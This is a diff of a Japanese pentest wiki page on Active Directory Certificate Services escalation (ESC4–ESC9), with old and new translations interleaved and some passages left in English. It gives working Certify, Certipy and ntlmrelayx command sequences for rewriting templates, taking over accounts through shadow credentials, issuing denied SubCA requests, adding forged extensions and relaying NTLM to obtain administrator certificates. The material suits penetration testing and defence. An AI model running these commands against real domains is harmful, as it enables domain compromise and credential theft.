を導入できる場合、権限昇格が可能になります。 -証明書テンプレートに適用される注目すべき権限には以下が含まれます： +証明書テンプレートに適用される主な権限には以下が含まれます: -- **Owner:** オブジェクトに対する暗黙の制御を付与し、任意の属性を変更できるようにします。 -- **FullControl:** オブジェクトに対する完全な権限を付与し、任意の属性を変更する能力を含みます。 -- **WriteOwner:** オブジェクトの所有者を攻撃者の制御下にあるプリンシパルに変更することを許可します。 -- **WriteDacl:** アクセス制御の調整を可能にし、攻撃者にFullControlを付与する可能性があります。 +- **Owner:** オブジェクトに対する暗黙の制御権を付与し、任意の属性を変更することを可能にします。 +- **FullControl:** オブジェクトに対する完全な権限を与え、任意の属性を変更する能力を含みます。 +- **WriteOwner:** オブジェクトの所有者を攻撃者の管理下にある主体に変更することを許可します。 +- **WriteDacl:** アクセス制御を調整できるようにし、攻撃者に FullControl を付与する可能性があります。 - **WriteProperty:** 任意のオブジェクトプロパティの編集を許可します。 -### 悪用 - -前のものと同様の特権昇格の例： +### Abuse +テンプレートや他の PKI オブジェクトに対して編集権を持つプリンシパルを特定するには、Certify で列挙します: +```bash +Certify.exe find /showAllPermissions +Certify.exe pkiobjects /domain:corp.local /showAdmins +```
-ESC4は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合です。これは、たとえば、証明書テンプレートの構成を上書きして、テンプレートをESC1に対して脆弱にするために悪用される可能性があります。 +前のものと同様の privesc の例: -上記のパスに見られるように、`JOHNPC`のみがこれらの権限を持っていますが、私たちのユーザー`JOHN`は`JOHNPC`への新しい`AddKeyCredentialLink`エッジを持っています。この技術は証明書に関連しているため、私はこの攻撃も実装しました。これは[Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)として知られています。ここでは、被害者のNTハッシュを取得するためのCertipyの`shadow auto`コマンドの小さなスニークピークを示します。 +ESC4 は、ユーザーが証明書テンプレートに対して書き込み権限を持っている場合を指します。例えば、この権限を悪用して証明書テンプレートの設定を書き換え、テンプレートを ESC1 に対して脆弱にすることができます。 + +上のパスでわかるように、これらの権限を持っているのは `JOHNPC` のみですが、我々のユーザー `JOHN` は `JOHNPC` への新しい `AddKeyCredentialLink` エッジを持っています。これは証明書に関連するテクニックなので、私はこの攻撃も実装しました。これは [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) として知られています。 + +以下は、被害者の NT hash を取得するための Certipy の `shadow auto` コマンドの簡単なプレビューです。 ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** は、単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipy は設定を **上書き** して **ESC1 に対して脆弱** にします。また、**`-save-old` パラメータを指定して古い設定を保存** することもでき、これは攻撃後に設定を **復元** するのに役立ちます。 +**Certipy** は単一のコマンドで証明書テンプレートの設定を上書きできます。**デフォルト**では、Certipy は設定を**上書き**して**ESC1に対して脆弱**にします。 +また、**`-save-old` パラメータを指定して古い設定を保存できます**。これは攻撃後に設定を**復元**する際に便利です。 ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -160,37 +180,37 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## 脆弱なPKIオブジェクトアクセス制御 - ESC5 +## 脆弱な PKI オブジェクトのアクセス制御 - ESC5 ### 説明 -証明書テンプレートや証明書認証局を超えた複数のオブジェクトを含むACLベースの関係の広範なネットワークは、AD CSシステム全体のセキュリティに影響を与える可能性があります。これらのオブジェクトは、セキュリティに大きな影響を与える可能性があり、以下を含みます： +ACL ベースの関係が複雑に絡み合った広範なネットワークは、証明書テンプレートや Certification Authority を超える複数のオブジェクトを含み、AD CS システム全体のセキュリティに影響を及ぼす可能性があります。セキュリティに大きく影響するこれらのオブジェクトには次が含まれますが、これらに限定されません： -- CAサーバーのADコンピュータオブジェクト。これは、S4U2SelfやS4U2Proxyのようなメカニズムを通じて侵害される可能性があります。 -- CAサーバーのRPC/DCOMサーバー。 -- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` 内の任意の子孫ADオブジェクトまたはコンテナ。このパスには、証明書テンプレートコンテナ、認証局コンテナ、NTAuthCertificatesオブジェクト、エンロールメントサービスコンテナなどのコンテナやオブジェクトが含まれますが、これに限定されません。 +- CA サーバーの AD computer オブジェクト（S4U2Self や S4U2Proxy のようなメカニズムを介して侵害される可能性があります）。 +- CA サーバーの RPC/DCOM サーバー。 +- 特定のコンテナパス `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=` 配下の任意の子孫 AD オブジェクトまたはコンテナ。このパスには、Certificate Templates container、Certification Authorities container、NTAuthCertificates object、Enrollment Services Container などのコンテナおよびオブジェクトが含まれます。 -低特権の攻撃者がこれらの重要なコンポーネントのいずれかを制御することに成功した場合、PKIシステムのセキュリティが侵害される可能性があります。 +これらの重要なコンポーネントのいずれかを低権限の攻撃者が掌握すると、PKI システムのセキュリティが損なわれる可能性があります。 ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### 説明 -[**CQure Academyの投稿**](https://cqureacademy.com/blog/enhanced-key-usage)で議論されている主題は、Microsoftによって概説された**`EDITF_ATTRIBUTESUBJECTALTNAME2`**フラグの影響にも触れています。この設定は、認証局（CA）で有効にされると、**ユーザー定義の値**を**任意のリクエスト**の**代替名**に含めることを許可します。これには、Active Directory®から構築されたリクエストも含まれます。したがって、この規定により、**侵入者**はドメイン**認証**のために設定された**任意のテンプレート**を通じて登録することが可能になります。特に、標準のユーザーテンプレートのように**特権のない**ユーザー登録に開放されているものです。その結果、証明書が取得され、侵入者はドメイン管理者またはドメイン内の**他のアクティブなエンティティ**として認証できるようになります。 +[**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) で扱われている内容は、Microsoft が定義する **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグの影響にも触れています。この設定が Certification Authority (CA) で有効化されていると、Active Directory® から構築されたものを含む「任意のリクエスト」に対して、**ユーザー定義の値**を **subject alternative name** に含めることが許可されます。結果として、標準の User テンプレートのように権限のないユーザーの登録が許可されているテンプレートを含む、ドメイン認証用に設定された任意のテンプレートを通じて侵入者が登録できるようになります。その結果、証明書を取得して侵入者がドメイン管理者やドメイン内の他の任意のアクティブなエンティティとして認証することが可能になります。 -**注意**: 証明書署名要求（CSR）に**代替名**を追加する方法は、`certreq.exe`の`-attrib "SAN:"`引数を通じて行われます（「名前値ペア」と呼ばれます）。これは、ESC1におけるSANの悪用戦略とは**対照的**です。ここでの違いは、**アカウント情報がどのようにカプセル化されるか**にあります—拡張ではなく、証明書属性内にあります。 +注意：`certreq.exe` の `-attrib "SAN:"` 引数（“Name Value Pairs” と呼ばれる）を通じて CSR に alternative names を追加する方法は、ESC1 における SAN の悪用方法とは対照的です。ここでの違いは、アカウント情報が extension ではなく証明書属性の中にカプセル化される点にあります。 ### 悪用 -設定が有効になっているかどうかを確認するために、組織は`certutil.exe`を使用して以下のコマンドを利用できます： +設定が有効化されているかどうかを確認するために、組織は次のコマンドを `certutil.exe` で利用できます： ```bash certutil -config "CA_HOST\CA_NAME" -getreg "policy\EditFlags" ``` -この操作は本質的に**リモートレジストリアクセス**を利用しているため、代替アプローチは次のようになります： +この操作は本質的に **remote registry access** を用いるため、代替の方法としては以下が考えられます: ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -[**Certify**](https://github.com/GhostPack/Certify)や[**Certipy**](https://github.com/ly4k/Certipy)のようなツールは、この誤設定を検出し、悪用することができます： +次のようなツール [**Certify**](https://github.com/GhostPack/Certify) と [**Certipy**](https://github.com/ly4k/Certipy) はこの誤設定を検出し悪用できます: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -199,39 +219,39 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -これらの設定を変更するには、**ドメイン管理者**権限または同等の権限を持っていると仮定して、次のコマンドを任意のワークステーションから実行できます: +これらの設定を変更するには、**domain administrative** 権限または同等の権限を持っていることを前提に、任意のワークステーションから次のコマンドを実行できます: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -この設定をあなたの環境で無効にするには、フラグを次のように削除できます: +環境でこの構成を無効にするには、フラグを次のように削除します: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> 2022年5月のセキュリティ更新以降、新しく発行された**証明書**には、**リクエスターの`objectSid`プロパティ**を組み込んだ**セキュリティ拡張**が含まれます。ESC1の場合、このSIDは指定されたSANから派生します。しかし、**ESC6**の場合、SIDは**リクエスターの`objectSid`**を反映し、SANではありません。\ -> ESC6を悪用するには、システムがESC10（弱い証明書マッピング）に対して脆弱であることが重要であり、これにより**新しいセキュリティ拡張よりもSANが優先されます**。 +> 2022年5月のセキュリティ更新以降、新しく発行される**証明書**には、要求者の`objectSid`プロパティを組み込んだ**セキュリティ拡張 (security extension)** が含まれるようになりました。ESC1では、このSIDは指定されたSANから派生します。しかし、**ESC6**ではSIDはSANではなく要求者の`objectSid`を反映します。\ +> ESC6を悪用するには、システムがESC10（Weak Certificate Mappings）に脆弱であり、**新しいセキュリティ拡張よりもSANを優先する**必要があります。 -## 脆弱な証明書認証局アクセス制御 - ESC7 +## 脆弱な証明書認証局のアクセス制御 - ESC7 ### 攻撃 1 #### 説明 -証明書認証局のアクセス制御は、CAのアクションを管理する一連の権限を通じて維持されます。これらの権限は、`certsrv.msc`にアクセスし、CAを右クリックしてプロパティを選択し、次にセキュリティタブに移動することで表示できます。さらに、PSPKIモジュールを使用して、次のようなコマンドで権限を列挙できます： +証明書認証局のアクセス制御は、CAの操作を管理する権限のセットによって維持されます。これらの権限は、`certsrv.msc` を開き、CAを右クリックしてプロパティを選択し、セキュリティタブに移動することで確認できます。さらに、PSPKIモジュールを使用して、次のようなコマンドで権限を列挙することもできます: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -これは、主な権限、すなわち **`ManageCA`** と **`ManageCertificates`** に関する洞察を提供し、それぞれ「CA管理者」と「証明書マネージャー」の役割に関連しています。 +This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “CA 管理者” and “証明書マネージャー” respectively. #### 悪用 -証明書機関で **`ManageCA`** 権限を持つことは、PSPKIを使用してリモートで設定を操作することを可能にします。これには、任意のテンプレートでSAN指定を許可するために **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えることが含まれ、ドメイン昇格の重要な側面です。 +証明機関に対する **`ManageCA`** 権限を持つと、主体は PSPKI を使用して設定をリモートで操作できます。これには、任意のテンプレートで SAN を指定できるように **`EDITF_ATTRIBUTESUBJECTALTNAME2`** フラグを切り替えることが含まれ、domain escalation の重要な要素となります。 -このプロセスの簡素化は、PSPKIの **Enable-PolicyModuleFlag** cmdletを使用することで達成可能であり、直接的なGUI操作なしで変更を行うことができます。 +このプロセスは PSPKI の **Enable-PolicyModuleFlag** cmdlet を使用することで簡素化でき、GUI に直接触れずに変更が行えます。 -**`ManageCertificates`** 権限を持つことで、保留中のリクエストの承認が可能になり、「CA証明書マネージャーの承認」保護を効果的に回避します。 +**`ManageCertificates`** 権限を持っていると、保留中のリクエストの承認が可能になり、事実上「CA certificate manager approval」保護を迂回できます。 -**Certify** と **PSPKI** モジュールの組み合わせを使用して、証明書をリクエスト、承認、ダウンロードすることができます： +**Certify** と **PSPKI** モジュールの組み合わせを使って、証明書の要求、承認、ダウンロードを行うことができます: ```bash # Request a certificate that will require an approval Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:ApprovalNeeded @@ -247,33 +267,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### 攻撃 2 +### Attack 2 -#### 説明 +#### Explanation > [!WARNING] -> **前の攻撃**では、**`Manage CA`** 権限を使用して **EDITF_ATTRIBUTESUBJECTALTNAME2** フラグを **有効** にして **ESC6 攻撃** を実行しましたが、CA サービス (`CertSvc`) が再起動されるまで効果はありません。ユーザーが `Manage CA` アクセス権を持っている場合、そのユーザーは **サービスを再起動することも許可されます**。ただし、**ユーザーがリモートでサービスを再起動できることを意味するわけではありません**。さらに、ESC6 は、2022年5月のセキュリティ更新のため、ほとんどのパッチ適用環境では **そのままでは機能しない可能性があります**。 +> In the **previous attack** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates. -したがって、ここでは別の攻撃が提示されます。 +Therefore, another attack is presented here. 前提条件: -- **`ManageCA` 権限のみ** +- **`ManageCA`** 権限のみ - **`Manage Certificates`** 権限（**`ManageCA`** から付与可能） -- 証明書テンプレート **`SubCA`** は **有効** でなければならない（**`ManageCA`** から有効にできる） +- 証明書テンプレート **`SubCA`** は **有効化** されている必要がある（**`ManageCA`** から有効化可能） -この手法は、`Manage CA` _および_ `Manage Certificates` アクセス権を持つユーザーが **失敗した証明書リクエストを発行できる** という事実に依存しています。**`SubCA`** 証明書テンプレートは **ESC1 に対して脆弱ですが**、**管理者のみがテンプレートに登録できます**。したがって、**ユーザー**は **`SubCA`** への登録を **リクエスト** できますが、これは **拒否され**、その後 **マネージャーによって発行されます**。 +この手法は、`Manage CA` と `Manage Certificates` の両方のアクセス権を持つユーザーが **失敗する証明書リクエストを発行できる** という事実に依存しています。証明書テンプレート **`SubCA`** は **ESC1 に対して脆弱** ですが、テンプレートに登録できるのは **管理者のみ** です。したがって、**ユーザー** は **`SubCA`** への登録を **要求** することができ（その要求は **拒否** される）、その後マネージャーによって **発行される**、という流れになります。 -#### 悪用 +#### Abuse -自分自身に **`Manage Certificates`** アクセス権を付与するには、新しい役員として自分のユーザーを追加できます。 +ユーザーを新しいオフィサーとして追加することで、自分自身に **`Manage Certificates`** 権限を付与できます。 ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -**`SubCA`** テンプレートは、`-enable-template` パラメータを使用して CA で **有効にする** ことができます。デフォルトでは、`SubCA` テンプレートは有効になっています。 +**`SubCA`** テンプレートは、`-enable-template` パラメータで **CA 上で有効化** できます。デフォルトでは、`SubCA` テンプレートは有効になっています。 ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -285,9 +305,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -この攻撃の前提条件を満たしている場合、**`SubCA` テンプレートに基づいて証明書を要求することから始めることができます**。 +この攻撃の前提条件を満たしていれば、まず **`SubCA` テンプレートに基づく証明書を要求することから始められます**. -**この要求は拒否されます**が、プライベートキーを保存し、要求IDをメモしておきます。 +**このリクエストは拒否さ**れますが、プライベートキーを保存し、リクエストIDを控えておきます. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -299,14 +319,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -私たちの **`Manage CA` と `Manage Certificates`** を使用して、`ca` コマンドと `-issue-request ` パラメータを使って **失敗した証明書** リクエストを **発行** することができます。 +私たちの **`Manage CA` と `Manage Certificates`** があれば、`ca` コマンドと `-issue-request ` パラメータでその **失敗した証明書リクエストを発行する** ことができます。 ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -そして最後に、`req`コマンドと`-retrieve `パラメータを使用して**発行された証明書を取得**できます。 +最後に、`req` コマンドと `-retrieve ` パラメータで**発行された証明書を取得**できます。 ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -320,65 +340,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) ``` ### Attack 3 – Manage Certificates Extension Abuse (SetExtension) -#### 説明 +#### Explanation -従来のESC7の悪用（EDITF属性の有効化や保留中のリクエストの承認）に加えて、**Certify 2.0**は、*Manage Certificates*（別名**Certificate Manager / Officer**）ロールをEnterprise CAで持つだけで実行できる新しいプリミティブを明らかにしました。 +In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA. -`ICertAdmin::SetExtension` RPCメソッドは、*Manage Certificates*を持つ任意のプリンシパルによって実行できます。このメソッドは、従来は正当なCAによって**保留中**のリクエストの拡張を更新するために使用されていましたが、攻撃者はこれを悪用して**非デフォルトの証明書拡張**（例えば、カスタム*Certificate Issuance Policy* OID `1.1.1.1`など）を承認待ちのリクエストに追加できます。 +`ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*. While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval. -ターゲットとなるテンプレートが**その拡張のデフォルト値を定義していないため**、リクエストが最終的に発行されるときにCAは攻撃者が制御する値を上書きしません。したがって、結果として得られる証明書には攻撃者が選択した拡張が含まれ、以下のようなことが可能になります： +Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued. The resulting certificate therefore contains an attacker-chosen extension that may: -* 他の脆弱なテンプレートのアプリケーション/発行ポリシー要件を満たす（特権昇格につながる）。 -* 証明書に予期しない信頼を与える追加のEKUやポリシーを注入する。 +* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation). +* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems. -要するに、*Manage Certificates*は、以前はESC7の「力の弱い」半分と見なされていましたが、CAの設定に触れたり、より制限のある*Manage CA*権限を必要とせずに、完全な特権昇格や長期的な持続性のために活用できるようになりました。 +In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right. -#### Certify 2.0を使用したプリミティブの悪用 +#### Abusing the primitive with Certify 2.0 -1. **保留中の証明書リクエストを提出します。** これは、マネージャーの承認を必要とするテンプレートを使用することで強制できます： +1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval -# 返されたリクエストIDに注意してください +# Take note of the returned Request ID ``` -2. **新しい`manage-ca`コマンドを使用して保留中のリクエストにカスタム拡張を追加します**： +2. **Append a custom extension to the pending request** using the new `manage-ca` command: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ ---set-extension "1.1.1.1=DER,10,01 01 00 00" # 偽の発行ポリシーOID +--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*テンプレートがすでに*Certificate Issuance Policies*拡張を定義していない場合、上記の値は発行後も保持されます。* +*If the template does not already define the *Certificate Issuance Policies* extension, the value above will be preserved after issuance.* -3. **リクエストを発行します**（あなたの役割にも*Manage Certificates*の承認権限がある場合）またはオペレーターが承認するのを待ちます。発行されたら、証明書をダウンロードします： +3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. 結果として得られる証明書には悪意のある発行ポリシーOIDが含まれ、後続の攻撃（例：ESC13、ドメイン昇格など）に使用できます。 +4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.). -> NOTE: 同じ攻撃は、Certipy ≥ 4.7を使用して`ca`コマンドと`-set-extension`パラメータを通じて実行できます。 +> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter. ## NTLM Relay to AD CS HTTP Endpoints – ESC8 ### 説明 > [!TIP] -> **AD CSがインストールされている**環境では、**脆弱なウェブ登録エンドポイント**が存在し、**ドメインコンピュータの登録とクライアント認証を許可する**（デフォルトの**`Machine`**テンプレートなど）**証明書テンプレートが公開されている**場合、**スプーラーサービスがアクティブな任意のコンピュータが攻撃者によって侵害される可能性があります**！ +> AD CS がインストールされている環境では、脆弱な web enrollment endpoint が存在し、かつ少なくとも 1 つの certificate template が domain computer enrollment と client authentication を許可して公開されている（デフォルトの `Machine` テンプレートなど）場合、spooler service が動作している任意のコンピュータが攻撃者によって乗っ取られる可能性があります！ -AD CSは、管理者がインストールできる追加のサーバーロールを通じて提供される**HTTPベースの登録方法**をいくつかサポートしています。これらのHTTPベースの証明書登録インターフェースは、**NTLMリレー攻撃**に対して脆弱です。攻撃者は、**侵害されたマシンから、受信NTLMを介して認証される任意のADアカウントを偽装できます**。被害者アカウントを偽装している間、これらのウェブインターフェースにアクセスして、**`User`または`Machine`証明書テンプレートを使用してクライアント認証証明書を要求できます**。 +AD CS がサポートするいくつかの **HTTP ベースの enrollment 方法** は、管理者が追加のサーバーロールとしてインストールすることで利用可能になります。これらの HTTP ベースの証明書 enrollment 用インターフェースは **NTLM relay 攻撃** に対して脆弱です。攻撃者は、**侵害されたマシンから**、着信 NTLM を使って認証する任意の AD アカウントを偽装できます。被害者アカウントを偽装した状態で、攻撃者はこれらの web インターフェースにアクセスし、`User` または `Machine` certificate template を使ってクライアント認証用の証明書を要求できます。 -- **ウェブ登録インターフェース**（`http:///certsrv/`で利用可能な古いASPアプリケーション）は、デフォルトでHTTPのみを使用し、NTLMリレー攻撃に対する保護を提供しません。さらに、Authorization HTTPヘッダーを通じてNTLM認証のみを明示的に許可しているため、Kerberosのようなより安全な認証方法は適用できません。 -- **Certificate Enrollment Service** (CES)、**Certificate Enrollment Policy** (CEP) Web Service、および**Network Device Enrollment Service** (NDES)は、デフォルトでAuthorization HTTPヘッダーを介してネゴシエート認証をサポートします。ネゴシエート認証は**KerberosとNTLMの両方をサポート**しており、攻撃者はリレー攻撃中に**NTLMにダウングレード**することができます。これらのウェブサービスはデフォルトでHTTPSを有効にしていますが、HTTPSだけでは**NTLMリレー攻撃から保護されません**。HTTPSサービスに対するNTLMリレー攻撃からの保護は、HTTPSがチャネルバインディングと組み合わさったときのみ可能です。残念ながら、AD CSはIISでの認証のための拡張保護を有効にしておらず、これはチャネルバインディングに必要です。 +- **web enrollment interface**（古い ASP アプリケーションで `http:///certsrv/` にある）はデフォルトで HTTP のみを使用し、NTLM relay 攻撃に対する保護を提供しません。さらに、このインターフェースは Authorization HTTP header を通じて明示的に NTLM のみを許可しているため、Kerberos のようなより安全な認証方式は使用できません。 +- **Certificate Enrollment Service**（CES）、**Certificate Enrollment Policy**（CEP）Web Service、**Network Device Enrollment Service**（NDES）は、Authorization HTTP header を通じてデフォルトで negotiate 認証をサポートします。negotiate 認証は Kerberos と **NTLM の両方をサポート**するため、攻撃者は relay 攻撃中に認証を **NTLM にダウングレード** できます。これらの web サービスはデフォルトで HTTPS を有効にしていますが、HTTPS 自体は **NTLM relay 攻撃からの保護にはならない** 点に注意してください。HTTPS サービスが NTLM relay 攻撃から保護されるのは、HTTPS が channel binding と組み合わされている場合に限られます。残念ながら、AD CS は IIS 上で Extended Protection for Authentication を有効にしておらず、channel binding に必要な設定がされていません。 -NTLMリレー攻撃の一般的な**問題**は、**NTLMセッションの短い期間**と、攻撃者が**NTLM署名を必要とするサービス**と相互作用できないことです。 +NTLM relay 攻撃でよくある問題は、NTLM セッションの有効期間が短いことと、NTLM signing を要求するサービスとやり取りできないことです。 + +しかし、この制約は NTLM relay 攻撃を利用してユーザの証明書を取得することで回避できます。証明書の有効期間がセッションの持続時間を決定し、取得した証明書は NTLM signing を要求するサービスでも使用可能です。盗用した証明書の利用方法については次を参照してください： -それでも、この制限は、ユーザーのために証明書を取得するためにNTLMリレー攻撃を利用することで克服されます。証明書の有効期間がセッションの期間を決定し、証明書は**NTLM署名を要求するサービス**で使用できるためです。盗まれた証明書を利用する方法については、次を参照してください： {{#ref}} account-persistence.md {{#endref}} -NTLMリレー攻撃のもう一つの制限は、**攻撃者が制御するマシンが被害者アカウントによって認証されなければならない**ことです。攻撃者はこの認証を**待つ**か、**強制**しようとすることができます： +NTLM relay 攻撃のもう一つの制約は、**攻撃者が制御するマシンに被害者アカウントが認証する必要がある**点です。攻撃者は待つか、あるいはこの認証を **強制** しようと試みることができます： + {{#ref}} ../printers-spooler-service-abuse.md @@ -386,13 +408,13 @@ NTLMリレー攻撃のもう一つの制限は、**攻撃者が制御するマ ### **悪用** -[**Certify**](https://github.com/GhostPack/Certify)の`cas`は、**有効なHTTP AD CSエンドポイント**を列挙します： +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` enumerates **enabled HTTP AD CS endpoints**: ``` Certify.exe cas ```
-`msPKI-Enrollment-Servers` プロパティは、エンタープライズ証明書認証局 (CA) によって証明書登録サービス (CES) エンドポイントを保存するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を利用して解析およびリスト化できます: +`msPKI-Enrollment-Servers` プロパティは、企業の Certificate Authorities (CAs) が Certificate Enrollment Service (CES) のエンドポイントを格納するために使用されます。これらのエンドポイントは、ツール **Certutil.exe** を使用して解析して一覧表示できます: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -403,7 +425,7 @@ Get-CertificationAuthority | select Name,Enroll* | Format-List * ```
-#### Certifyを使った悪用 +#### Certify を悪用する ```bash ## In the victim machine # Prepare to send traffic to the compromised machine 445 port to 445 in the attackers machine @@ -418,11 +440,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### Abuse with [Certipy](https://github.com/ly4k/Certipy) +#### [Certipy](https://github.com/ly4k/Certipy) を悪用 -Certipyによる証明書のリクエストは、アカウント名が`$`で終わるかどうかに基づいて、デフォルトで`Machine`または`User`テンプレートに基づいて行われます。代替テンプレートの指定は、`-template`パラメータを使用することで実現できます。 +証明書のリクエストは、デフォルトで Certipy が、アカウント名の末尾が `$` で終わるかどうかに応じて `Machine` または `User` テンプレートに基づいて行います。別のテンプレートを指定するには、`-template` パラメータを使用します。 -その後、[PetitPotam](https://github.com/ly4k/PetitPotam)のような技術を使用して認証を強制することができます。ドメインコントローラーを扱う場合は、`-template DomainController`の指定が必要です。 +その後、[PetitPotam](https://github.com/ly4k/PetitPotam) のような技術を用いて認証を強制することができます。ドメインコントローラを扱う場合は、`-template DomainController` の指定が必要です。 ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -435,127 +457,127 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## セキュリティ拡張なし - ESC9 ### 説明 -新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は **`msPKI-Enrollment-Flag`** のためのもので、ESC9と呼ばれ、証明書に **新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張** を埋め込むことを防ぎます。このフラグは `StrongCertificateBindingEnforcement` が `1`（デフォルト設定）に設定されているときに関連性を持ち、`2` の設定とは対照的です。ESC9がない場合、要件が変更されないため、KerberosやSchannelのための弱い証明書マッピングが悪用される可能性があるシナリオでは、その関連性が高まります（ESC10のように）。 +新しい値 **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) は **`msPKI-Enrollment-Flag`** のためのもので、ESC9 と呼ばれ、証明書に **新しい `szOID_NTDS_CA_SECURITY_EXT` セキュリティ拡張** を埋め込むことを防ぎます。このフラグは `StrongCertificateBindingEnforcement` が `1`（デフォルト設定）のときに意味を持ち、`2` の設定とは対照的です。ESC9 が存在しない場合でも要件は変わらないため、Kerberos や Schannel のより弱い証明書マッピングが悪用され得るシナリオ（ESC10 の場合のように）では、その重要性が高まります。 -このフラグの設定が重要になる条件は以下の通りです： +このフラグの設定が重要になる条件は以下を含みます： -- `StrongCertificateBindingEnforcement` が `2` に調整されていない（デフォルトは `1`）、または `CertificateMappingMethods` に `UPN` フラグが含まれている。 +- `StrongCertificateBindingEnforcement` が `2` に設定されていない（デフォルトは `1`）、または `CertificateMappingMethods` に `UPN` フラグが含まれている。 - 証明書が `msPKI-Enrollment-Flag` 設定内で `CT_FLAG_NO_SECURITY_EXTENSION` フラグでマークされている。 -- 証明書によってクライアント認証 EKU が指定されている。 -- 